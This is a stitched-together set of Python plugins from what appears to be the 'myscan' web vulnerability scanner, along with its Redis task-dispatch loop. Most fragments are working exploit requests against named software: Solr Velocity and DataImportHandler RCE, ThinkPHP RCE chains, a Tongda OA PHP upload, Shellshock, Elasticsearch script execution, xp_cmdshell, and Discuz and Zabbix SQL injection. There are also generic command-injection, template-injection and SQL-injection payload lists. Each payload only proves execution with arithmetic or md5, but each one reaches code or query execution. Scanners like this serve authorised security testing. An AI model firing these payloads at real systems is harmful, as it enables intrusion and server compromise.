def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return req = { "method": "GET", "url": self.url + "solr/admin/cores?wt=json", "headers": self.dictdata.get("request").get("headers"), # 主要保留cookie等headers "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r != None and r.status_code == 200 and b"responseHeader" in r.content: name = re.search('"name":"(.*?)"', r.text) if name: name = name.group(1) req["method"] = "POST" req["headers"] = { "Content-Type": "application/json" } req["data"] = '''{ "update-queryresponsewriter": { "startup": "test", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }''' req["url"] = self.url + "solr/{name}/config".format(name=name) r1 = request(**req) if r1 != None and r1.status_code == 200: random_1 = get_random_num(4) random_2 = get_random_num(4) req1 = { "method": "GET", "url": self.url + "solr/{name}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set(%24c%3D{r1}%20*%20{r2})%24c".format( name=name, r1=random_1, r2=random_2), "headers": self.dictdata.get("request").get("headers"), # 主要保留cookie等headers "timeout": 10, "allow_redirects": "False", "verify": False, } r2 = request(**req1) if r2 != None and r2.status_code == 200 and str(random_2 * random_1).encode() in r2.content: parser_ = response_parser(r2) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return ran1=get_random_num(3) ran2=get_random_num(3) total=ran1*ran2 req = { "method": "GET", "url": self.url + "oauth/authorize?response_type=${%s*%s}&client_id=acme&scope=openid&redirect_uri=http://test"%(ran1,ran2), "headers": { "Authorization": "Basic YWRtaW46YWRtaW4=", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169" }, "allow_redirects": False, "timeout": 10, "verify": False, } r = request(**req) if r != None and str(total).encode() in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others": "{} in response".format(total), "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 添加限定条件 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return self.parser = dictdata_parser(self.dictdata) random1 = get_random_num(4) random2 = get_random_num(4) payload_ = "LS0tLS0tLS0tLTE2NzM4MDEwMTgKQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJVUExPQURfTU9ERSIKCjIKLS0tLS0tLS0tLTE2NzM4MDEwMTgKQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJQIgoKMTIzCi0tLS0tLS0tLS0xNjczODAxMDE4CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0iREVTVF9VSUQiCgoyCi0tLS0tLS0tLS0xNjczODAxMDE4CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0iQVRUQUNITUVOVCI7IGZpbGVuYW1lPSJwaHAuIgpDb250ZW50LVR5cGU6IGltYWdlL2pwZWcKCjw/cGhwCmVjaG8gKE5VTTErTlVNMik7Cj8+Ci0tLS0tLS0tLS0xNjczODAxMDE4LS0K" payload_ = base64.b64decode(payload_.encode()).decode().replace( "\n", "\r\n") payload_ = payload_.replace("NUM1", str(random1)).replace( "NUM2", str(random2)) req = { "url": self.url + "ispirit/im/upload.php", "method": "POST", "headers": { "Content-Type": "multipart/form-data; boundary=--------1673801018" }, "verify": False, "data": payload_, "timeout": 10, } r = request(**req) if r is not None and r.content.startswith(b"+OK"): res = re.search(r"\+OK \[vm\]\d+@(\d+)_(\d+)\|php", r.content.decode(errors="ignore")) if res and len(res.groups()) == 2: path1, path2 = res.groups() path = "im/{}/{}.php".format(path1, path2) req1 = { "url": self.url + path, "method": "GET", "verify": False, "timeout": 10 } r_ = request(**req1) if r_ is not None and str(random1 + random2).encode() in r_.content: parser_ = response_parser(r) parser1 = response_parser(r_) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others": "you can upload your webshell", "request1": parser_.getrequestraw(), "response1": parser_.getresponseraw(), "request2": parser1.getrequestraw(), "response2": parser1.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return random_int2 = get_random_num(6) random_int1 = get_random_num(6) req = { "method": "POST", "url": self.url + "test/test1/", "headers": { "Content-Type": "application/x-www-form-urlencoded", }, "data": '''{ "name": "test" }''', "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r != None and r.status_code == 201: req["url"] = self.url + "_search?pretty" req["data"] = '''{ "size": 1, "query": { "filtered": { "query": { "match_all": { } } } }, "script_fields": { "command": { "script": "%s+%s" } } }''' % (random_int1, random_int2) r1 = request(**req) if r1 != None and r1.status_code == 200 and ( str(random_int2 + random_int1)).encode() in r1.content: parser_ = response_parser(r1) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return num = get_random_num(4) num_md5 = getmd5(num) req = { "method": "GET", "url": self.url + "viewthread.php?tid=10", # "headers": self.dictdata.get("request").get("headers"), # 主要保留cookie等headers "cookies": { "GLOBALS%5B_DCACHE%5D%5Bsmilies%5D%5Bsearcharray%5D": "/.*/eui", "GLOBALS%5B_DCACHE%5D%5Bsmilies%5D%5Breplacearray%5D": "print_r(md5({}))".format(num) }, "timeout": 10, "verify": False, } r = request(**req) if r != None and r.status_code == 200 and num_md5[10:20].encode( ) in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return random_int = get_random_num(5) md5 = getmd5(random_int) req = { "method": "POST", "url": self.url, "headers": { "Content-Type": "application/x-www-form-urlencoded" }, "data": "routestring=ajax/render/widget_php&widgetConfig%5bcode%5d=print(md5({rand}))%3bexit%3b".format( rand=random_int), "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r is not None and r.status_code == 200 and md5.encode() in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): if self.dictdata.get("url").get("extension")[:3] not in ["php", ""]: return parser = dictdata_parser(self.dictdata) params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") num1 = get_random_num(8) num1_md5 = getmd5(num1) regx = 'Parse error: syntax error,.*?\sin\s' payloads = ( "print(md5({}));", " print(md5({}));", ";print(md5({}));", "';print(md5({}));$a='", "\";print(md5({}));$a=\"", "${{@print(md5({}))}}", "${{@print(md5({}))}}\\", "'.print(md5({})).'" ) if params: for param in params: for payload in payloads: method = "a" if payload[0] == "p" else "w" payload=payload.format(num1) req = parser.getreqfromparam(param, text=payload, method=method) r = request(**req) if r is not None: if num1_md5 in r.text: self.save(r, param, payload) break elif re.search(regx, r.text, re.I | re.S): self.save(r, param, "search rule: " + regx) break
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return num = get_random_num(4) num_md5 = getmd5(num) req = { "method": "GET", "url": self.url + "jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,md5({})),0)" .format(num), "headers": self.dictdata.get("request").get("headers"), # 主要保留cookie等headers "timeout": 10, "verify": False, } r = request(**req) if r != None and r.status_code == 200 and num_md5[10:20].encode( ) in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return random_int = get_random_num(5) req = { "method": "GET", "url": self.url + "index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=sql%20sql=%27select%20md5({})%27" .format(random_int), "headers": self.dictdata.get("request").get("headers"), "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r != None and r.status_code == 200 and ( getmd5(random_int)[10:20]).encode() in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return random_str = get_random_num(4) req = { "method": "GET", "url": self.url + "tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5" + str(random_str) + ";{/dede:field}", "headers": self.dictdata.get("request").get("headers"), "timeout": 10, "verify": False, "allow_redirects": True } r = request(**req) if r != None and r.status_code == 200 and (getmd5( str(random_str))[10:20]).encode() in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): if self.dictdata.get("url").get("extension").lower() in notAcceptedExt: return parser = dictdata_parser(self.dictdata) params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") num1 = get_random_num(4) num2 = get_random_num(4) num1_num2 = num1 + num2 num1num2 = num1 * num2 num1_md5 = getmd5(num1) payloads = ( {"cmd": "\nexpr {} + {}\n".format(num1, num2), "show": num1_num2, "method": "a"}, {"cmd": "|expr {} + {}".format(num1, num2), "show": num1_num2, "method": "a"}, {"cmd": "$(expr {} + {})".format(num1, num2), "show": num1_num2, "method": "a"}, {"cmd": "&set /A {}+{}".format(num1, num2), "show": num1_num2, "method": "a"}, {"cmd": "${@var_dump(md5(%s))};" % num1, "show": num1_md5, "method": "w"}, {"cmd": "{}*{}" % num1, "show": num1num2, "method": "w"}, {"cmd": "'-var_dump(md5(%s))-'" % num1, "show": num1_md5, "method": "w"}, {"cmd": "/*1*/{{%s+%s}}" % (num1, num2), "show": num1_num2, "method": "w"}, {"cmd": "${%s+%s}" % (num1, num2), "show": num1_num2, "method": "w"}, {"cmd": "${(%s+%s)?c}" % (num1, num2), "show": num1_num2, "method": "w"}, {"cmd": "#set($c=%s+%s)${c}$c" % (num1, num2), "show": num1_num2, "method": "w"}, {"cmd": "<%- {}+{} %>".format(num1, num2), "show": num1_num2, "method": "w"}, ) if params: for param in params: for payload in payloads: req = parser.getreqfromparam(param, text=payload.get("cmd"), method=payload.get("method")) r = request(**req) if r != None and str(payload.get("show")) in r.text: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "param": param.get("name"), "payload": payload, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } }) break
def verify(self): if self.dictdata.get("url").get("extension") in notAcceptedExt: return #搜索返回包: parser = dictdata_parser(self.dictdata) if self.search(parser.getresponsebody(), "Null payload , errors in response text "): return # pass # body url参数注入 random_num = get_random_num(8) random_num_md5 = getmd5(random_num) payloads = [ ('鎈\'"\(', None, "a"), ('"and/**/extractvalue(1,concat(char(126),md5({})))and"'.format( random_num), random_num_md5, "a"), ("'and/**/extractvalue(1,concat(char(126),md5({})))and'".format( random_num), random_num_md5, "a"), ("'and(select'1'from/**/cast(md5({})as/**/int))>'0".format( random_num), random_num_md5, "a"), ('"and(select\'1\'from/**/cast(md5({})as/**/int))>"0'.format( random_num), random_num_md5, "a"), ("'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','{}')))>'0" .format(random_num), random_num_md5, "a"), ('"and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes(\'MD5\',\'{}\')))>"0' .format(random_num), random_num_md5, "a"), ("'and/**/extractvalue(1,concat(char(126),md5({})))and'".format( random_num), random_num_md5, "a"), ('"and/**/extractvalue(1,concat(char(126),md5({})))and"'.format( random_num), random_num_md5, "a"), ("/**/and/**/cast(md5('{}')as/**/int)>0".format(random_num), random_num_md5, "a"), ("convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','{}')))". format(random_num), random_num_md5, "w"), ("extractvalue(1,concat(char(126),md5({})))".format(random_num), random_num_md5, "w") ] params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") if params: for param in params: for payload, search_str, method in payloads: req = parser.getreqfromparam(param, method, payload) r = request(**req) if search_str == None: if self.search(r, payload): break # pass else: if self.search_md5(r, random_num_md5[10:20], payload): break # pass # cookie注入 pass
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return r1 = get_random_num(3) r2 = get_random_num(3) req = { "method": "POST", "url": self.url + "Proxy", "headers": { "Content-Type": "application/x-www-form-urlencoded" }, "timeout": 10, "data": '''cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell 'set/A {r1}*{r2}'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>''' .format(r1=r1, r2=r2), "verify": False, "allow_redirects": False } r = request(**req) if r is not None and r.status_code == 200 and (str( r1 * r2)).encode() in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def header_inject(self, data): req, data_ = data payload, search_str, k, msg = data_ if self.output(msg): random_num = get_random_num(8) random_num_md5 = getmd5(random_num) r = request(**req) if r is not None: if search_str == None: if self.search(r, payload, "headers's {}".format(k)): self.output(msg, True) else: if self.search_md5(r, random_num_md5[10:20], payload): self.output(msg, True)
def verify(self): # 添加限定条件 if self.dictdata.get("url").get("extension")!="cgi": return request_headers=self.dictdata.get("request").get("headers") request_headers_forpayload=copy.deepcopy(request_headers) random1=get_random_num(6) random2=get_random_num(6) random_total=random1+random2 request_headers_forpayload['User-Agent']="() { :; }; echo; echo; /bin/bash -c 'expr %s + %s'"%(random1,random2) parser=dictdata_parser(self.dictdata) req = { "method": "GET", "url": parser.getfilepath(), "params": parser.getrequestparams_urlorcookie("url"), "headers": request_headers_forpayload, "data": parser.getrequestbody(), "timeout": 5, "verify": False, "allow_redirects": False, } r = request(**req) if r!=None: if str(random_total) in r.text: parser_=response_parser(r) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request":parser_.getrequestraw(), "response":parser_.getresponseraw(), } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return num = get_random_num(4) num_md5 = getmd5(num) req = { "method": "GET", "url": self.url + "faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(user,0x3a,md5({}),0x3a)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23" .format(num), # "headers": self.dictdata.get("request").get("headers"), # 主要保留cookie等headers "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r != None and r.status_code == 200 and num_md5[10:20].encode( ) in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return # if self.dictdata.get("url").get("extension").lower()[:3] not in ["", "php"]: # return # thinkphp 2.x rand_num1, rand_num2 = get_random_num(4), get_random_num(4) total = rand_num2 * rand_num1 req = { "method": "GET", "url": self.url + "index.php?s=/aa/bb/name/${@printf(%s*%s)}" % (rand_num1, rand_num2), "headers": self.dictdata.get("request").get("headers"), # 主要保留cookie等headers "timeout": 10, "verify": False, "allow_redirects": False } r = request(**req) if r is not None and str(total).encode() in r.content: self.save( r, "exec {}*{},{} in response".format(rand_num1, rand_num2, total), "referer:{}".format( "https://github.com/vulhub/vulhub/tree/master/thinkphp/2-rce" )) # thinkphp 5.0.23-rce success = False rand_str1, rand_str2 = get_random_str(5), get_random_str(5) payload = "{}%%{}".format(rand_str1, rand_str2) show = "{}%{}".format(rand_str1, rand_str2) for path in ["index.php?s=captcha", "index.php/captcha"]: req = { "method": "POST", "url": self.url + path, "headers": { "Content-Type": "application/x-www-form-urlencoded", }, # 主要保留cookie等headers "data": "_method=__construct&filter[]=printf&method=GET&server[REQUEST_METHOD]={}&get[]=1" .format(payload), "timeout": 10, "verify": False, "allow_redirects": False } r = request(**req) if r is not None and show.encode() in r.content: self.save( r, "{} in response".format(show), "referer:https://github.com/vulhub/vulhub/blob/master/thinkphp/5.0.23-rce/README.zh-cn.md" ) success = True break if not success: req = { "method": "POST", "url": self.url, "headers": { "Content-Type": "application/x-www-form-urlencoded", }, # 主要保留cookie等headers "data": "get[]={}&_method=__construct&method=get&filter=printf".format( payload), "timeout": 10, "verify": False, "allow_redirects": False } r = request(**req) if r is not None and show.encode() in r.content: self.save( r, "{} in response".format(show), "referer:https://github.com/vulhub/vulhub/blob/master/thinkphp/5.0.23-rce/README.zh-cn.md" ) # thinkphp 5.0.22/5.1.29 rce rand_str1, rand_str2 = get_random_str(5), get_random_str(5) payload = "{}%%{}".format(rand_str1, rand_str2) show = "{}%{}".format(rand_str1, rand_str2) for path in [ "index.php/Index/%5Cthink%5Capp/invokefunction", r"index.php?s=/Index/\think\app/invokefunction" ]: req = { "method": "POST", "url": self.url + path, "headers": { "Content-Type": "application/x-www-form-urlencoded", }, # 主要保留cookie等headers "data": "function=call_user_func_array&vars[0]=printf&vars[1][]={}". format(payload), "timeout": 10, "verify": False, "allow_redirects": False } r = request(**req) if r is not None and show.encode() in r.content: self.save( r, "{} in response".format(show), "referer:https://github.com/vulhub/vulhub/blob/master/thinkphp/5-rce/README.zh-cn.md" ) break
def verify(self): if self.dictdata.get("url").get("extension").lower() in notAcceptedExt: return # 搜索返回包: self.parser = dictdata_parser(self.dictdata) # 黑名单 # tomcat if self.dictdata.get("url").get("path").startswith( "/examples/") or self.dictdata.get("url").get( "path").startswith("/docs/"): return # body url参数注入 random_num = get_random_num(8) random_num_md5 = getmd5(random_num) payloads = [ ('"and/**/extractvalue(1,concat(char(126),md5({})))and"'.format( random_num), random_num_md5, "a"), ("'and/**/extractvalue(1,concat(char(126),md5({})))and'".format( random_num), random_num_md5, "a"), ("'and(select'1'from/**/cast(md5({})as/**/int))>'0".format( random_num), random_num_md5, "a"), ('"and(select\'1\'from/**/cast(md5({})as/**/int))>"0'.format( random_num), random_num_md5, "a"), ("'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','{}')))>'0" .format(random_num), random_num_md5, "a"), ('"and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes(\'MD5\',\'{}\')))>"0' .format(random_num), random_num_md5, "a"), ("'and/**/extractvalue(1,concat(char(126),md5({})))and'".format( random_num), random_num_md5, "a"), ('"and/**/extractvalue(1,concat(char(126),md5({})))and"'.format( random_num), random_num_md5, "a"), ("/**/and/**/cast(md5('{}')as/**/int)>0".format(random_num), random_num_md5, "a"), ("convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','{}')))". format(random_num), random_num_md5, "w"), ("extractvalue(1,concat(char(126),md5({})))".format(random_num), random_num_md5, "w") ] params = self.dictdata.get("request").get("params").get("params_url") + \ self.dictdata.get("request").get("params").get("params_body") reqs = [] if params: for param in params: for payload, search_str, method in [('鎈\'"\(', None, "a") ] + payloads: req = self.parser.getreqfromparam(param, method, payload) reqs.append( (req, payload, search_str, random_num_md5, param)) mythread(self.args_inject, reqs, cmd_line_options.threads) # header注入 if not plugin_set.get("sqli").get("header_inject"): return header_msg = { "User-Agent": { "msg": "sqli_error_ua", "default": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36" }, "Referer": { "msg": "sqli_error_referer", "default": "https://www.qq.com/search" }, "X-Forwarded-For": { "msg": "sqli_error_xff", "default": "12.40.9.144" }, "Real-Ip": { "msg": "sqli_error_ri", "default": "2.40.9.144" }, "X-Forwarded-Host": { "msg": "sqli_error_xfh", "default": "2.40.9.144" }, } reqs = [] for k, v in header_msg.items(): if self.output(v.get("msg")): logger.debug("start {} inject ".format(k)) headers = copy.deepcopy( self.dictdata.get("request").get("headers")) if k not in headers.keys(): headers[k] = v.get("default") for payload, search_str, method in [('\'"\(', None, "a") ] + payloads: headers_withpayload = copy.deepcopy(headers) headers_withpayload[k] = headers_withpayload[ k] + payload if method == "a" else payload req = self.parser.generaterequest( {"headers": headers_withpayload}) reqs.append((req, (payload, search_str, k, v.get("msg")))) mythread(self.header_inject, reqs, cmd_line_options.threads)
#!/usr/bin/env python3 # @Time : 2020-04-20 # @Author : caicai # @File : const.py from myscan.lib.core.common import get_random_num rand_long1 = get_random_num(10) rand_long2 = get_random_num(10) rand1 = get_random_num(3) rand2 = get_random_num(3) rand3 = get_random_num(3) jinja2 = { 'render': { 'render': '{{%(code)s}}', 'header': '{{%(header)s}}', 'trailer': '{{%(trailer)s}}', 'test_render': '(%(n1)s,%(n2)s*%(n3)s)' % { 'n1': rand1, 'n2': rand2, 'n3': rand3 }, 'test_render_expected': '%(res)s' % { 'res': (rand1, rand2 * rand3) } }, } def generate_payload(): payloads = [] for render in [jinja2]: r_ = render.get("render")
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return req = { "method": "GET", "url": self.url + "solr/admin/cores?wt=json", "headers": self.dictdata.get("request").get("headers"), # 主要保留cookie等headers "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r != None and r.status_code == 200 and b"responseHeader" in r.content: name = re.search('"name":"(.*?)"', r.text) if name: name = name.group(1) random_1 = get_random_num(4) random_2 = get_random_num(4) req["url"] = self.url + '''solr/%s/dataimport?command=full-import&debug=true&wt=json&indent=true&verbose=false&clean=false&commit=false&optimize=false&dataConfig=<dataConfig> <dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="DEBUG" /> <script><![CDATA[ function execute(row) { row.put("id",%s*%s); return row; } ]]></script> <document> <entity stream="true" name="streamxml" datasource="streamsrc1" processor="XPathEntityProcessor" rootEntity="true" forEach="/books/book" transformer="script:execute" > <field column="id" name="id"/> </entity> </document> </dataConfig>''' % (name, random_1, random_2) req["data"] = '''<?xml version="1.0" encoding="utf-8"?> <books> <book> </book> </books>''' req["method"] = "POST" r1 = request(**req) if r1 != None and r1.status_code == 200 and str( random_2 * random_1).encode() in r1.content: parser_ = response_parser(r1) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def start(): logger.info("Myscan Python Moudle Listen ...") red = getredis() try: while True: try: if cmd_line_options.command == "webscan": data = red.rpop("burpdata") if data: red.hincrby("count_all", "doned", amount=1) logger.debug("Get one data from burpdata") dictdata = None try: dictdata = json.loads(data) except Exception as ex: logger.warning( "Process burpdata to json get error:" + str(ex)) continue if dictdata is not None: # 把dictdata分配一个id id = get_random_str(10) + str(get_random_num(5)) toredisdatas = [] # 开启plugin if cmd_line_options.allow_plugin: for pluginhash, plugin_info in cmd_line_options.allow_plugin.items( ): toredisdatas.append( ("plugin_data_py", pickle.dumps({ "id": id, "pochash": pluginhash, "poc": plugin_info.get("poc") }))) is_filter = dictdata.get("filter") host = dictdata.get("url").get("host") port = dictdata.get("url").get("port") block = block_info(host, port) if allow_host(host) and not block.is_block(): # 是否启动被动搜索模式 if scan_set.get("search_open", False): s = searchmsg(dictdata) s.verify() # s.saveresult() data_parser = dictdata_parser(dictdata) # perfile if cmd_line_options.pocs_perfile: if not is_filter or not data_parser.is_perfile_doned( ): logger.debug( data_parser.getperfile( ).capitalize() + " is_perfile_doned res:False") for poc in cmd_line_options.pocs_perfile: toredisdatas.append( ("work_data_py", pickle.dumps({ "id": id, "data": data_parser.getperfile(), "poc": poc, "type": "perfile" }))) else: logger.debug( data_parser.getperfile( ).capitalize() + " is_perfile_doned res:True") # perfolder if cmd_line_options.pocs_perfoler: if not is_filter: folders = data_parser.getperfolders() else: folders = data_parser.is_perfolder_doned( ) if folders != []: for folder in folders: for poc in cmd_line_options.pocs_perfoler: # red.lpush("work_data_py", pickle.dumps({ # "data": folder, # "dictdata": dictdata, # "type": "perfolder" # })) toredisdatas.append( ("work_data_py", pickle.dumps({ "id": id, "data": folder, "poc": poc, "type": "perfolder" }))) # scheme if cmd_line_options.pocs_perscheme: if not is_filter or not data_parser.is_perscheme_doned( ): logger.debug( data_parser.getperfile( ).capitalize() + " is_perscheme_doned res:False") for poc in cmd_line_options.pocs_perscheme: toredisdatas.append(( "work_data_py", pickle.dumps({ "id": id, "data": None, # 这里没有data字段,无关data字段了 "poc": poc, "type": "perscheme" }))) else: logger.debug( data_parser.getperfile( ).capitalize() + " is_perscheme_doned res:True") else: logger.debug("Host block:" + host) # 分发 if toredisdatas: # 给id新建一个hash red.hmset(id, { 'data': data, 'count': len(toredisdatas) }) for key, pickledata in toredisdatas: if key == "plugin_data_py": red.lpush("plugin_data_py", pickledata) else: if scan_set.get("random_test", False): red.sadd("work_data_py_set", pickledata) else: red.lpush("work_data_py", pickledata) else: time.sleep(random.uniform(0, 1)) elif cmd_line_options.command == "hostscan": data = red.rpop("hostdata") if data: red.hincrby("count_all", "doned", amount=1) logger.debug("Get one data from hostdata") dictdata = None try: dictdata = json.loads(data) except Exception as ex: logger.warning( "Process hostdata to json get error:" + str(ex)) continue if dictdata is not None: # 开启plugin if cmd_line_options.plugins: plugin(dictdata) if "all" in cmd_line_options.disable: continue is_filter = dictdata.get("filter") host = dictdata.get("addr") port = dictdata.get("port") block = block_info(host, port) id = get_random_str(10) + str(get_random_num(5)) if allow_host(host): toredisdatas = [] if is_filter: if not block.is_block(): block.block_it() else: continue for poc in cmd_line_options.pocs_perserver: toredisdatas.append( pickle.dumps({ "id": id, "data": None, # 这里没有data字段,无关data字段了 "poc": poc, "type": "perserver" })) if toredisdatas: red.hmset(id, { 'data': data, 'count': len(toredisdatas) }) red.hmset(id, { 'data': data, 'count': len(toredisdatas) }) for pickledata in toredisdatas: if scan_set.get("random_test", False): red.sadd("work_data_py_set", pickledata) else: red.lpush("work_data_py", pickledata) else: time.sleep(random.uniform(1, 2)) except Exception as ex: logger.debug("Run start get error:{}".format(ex)) traceback.print_exc() continue except KeyboardInterrupt as ex: logger.warning("Ctrl+C was pressed ,aborted program")